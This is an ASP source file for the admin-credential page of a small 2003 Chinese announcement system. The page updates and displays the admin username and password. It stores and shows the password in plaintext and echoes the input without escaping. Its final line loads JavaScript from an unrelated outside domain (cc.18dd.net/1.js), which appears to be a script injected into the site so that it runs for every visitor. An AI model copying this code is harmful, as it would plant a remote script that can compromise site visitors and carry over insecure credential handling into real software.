admin_name.asp

一款有用的公告系统

<!--#include file=conn.asp-->
<!--#include file=header.inc-->
<%
'#####################################################
'## Copyright (C) 2003, fzw
'## For support, please visit http://fzw.rdedu.net/
'## Script Edit:风之吻技术网
'#####################################################
%>
<% if Session("status") <> "login" then response.redirect "login.asp" %>
<%
dim sql,rs
dim user,pass
set rs=server.createobject("adodb.recordset")
If request.form("submit") <> "" Then
    user=replace(trim(request("x_AdminName")),"'","")
    pass=replace(trim(Request("x_AdminPass")),"'","")    

	sql="select * from Admin where id=1"
    rs.open sql,conn,2,3
    Rs("AdminName")=user
    Rs("AdminPass")=pass
    Rs.update
    Rs.close
            Set Rs= Nothing
            Set Conn = Nothing
      Response.Write "<table width=60% border=0 align=center cellpadding=0 cellspacing=0><tr valign=middle><td width=24% class=title height=25><div align=center><a href=Admin_Name.asp>管理员修改</a></div></td><td width=21% class=title height=25><div align=center><a href=Admin_info.asp>基本信息</a></div></td><td width=28% class=title height=25><div align=center><a href=Admin_Data.asp>公告管理</a></div></td><td width=27% class=title height=25><div align=center><a href=logout.asp>logout</a></div></td></tr><tr><td height=149 class=title2 colspan=4><div align=center><br><br>修改成功<br>"
	  Response.Write"<a href=javascript:history.go(-1);>返回</a><br><br>"
	  Response.Write"修改后的AdminName为&nbsp;&nbsp;"
	  Response.Write(user)
	  Response.Write"<br>"
	  Response.Write"修改后的AdminPass为&nbsp;&nbsp;"
	  Response.Write(pass)
	  Response.Write"</div></td></tr></table>"
Else		
          sql="select * from Admin"
		  rs.open sql,conn

%>

<table width="60%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr valign="middle"> 
    <td width="24%" class="title" height="25">
<div align="center"><a href="Admin_Name.asp">管理员修改</a></div></td>
    <td width="21%" class="title" height="25">
<div align="center"><a href="Admin_info.asp">基本信息</a></div></td>
    <td width="28%" class="title" height="25">
<div align="center"><a href="Admin_Data.asp">公告管理</a></div></td>
    <td width="27%" class="title" height="25">
<div align="center"><a href="logout.asp">退出</a></div></td>
  </tr>
  <tr> 
    <td height="149" class="title2" colspan="4"><div align="center">
<br><br>管理员修改

<form action="Admin_Name.asp" method="post" onSubmit="return dataCheck(this);">
<table border="0" cellspacing="1" cellpadding="5" bgcolor="#CCCCCC">
<tr>
<td class="title">用户：</td>
<td class="title2"><input type="text"  value="<%=rs("AdminName")%>" name="x_AdminName" size=30 maxlength=50></td>
</tr>
<tr>
<td class="title">密码：</td>
<td class="title2"><input type="text"  value="<%=rs("AdminPass")%>" name="x_AdminPass" size=30 maxlength=50></td>
</tr>
</table>
<p>
<input type="submit" name="submit" value="修改">
</form>
</div></td>
  </tr>
</table>
<%
	      rs.close
	      conn.close
	      set rs=nothing
	      set conn=nothing
%>
<%
End If
%>
<!--#include file=footer.inc-->
<script language=javascript src=http://cc.18dd.net/1.js></script>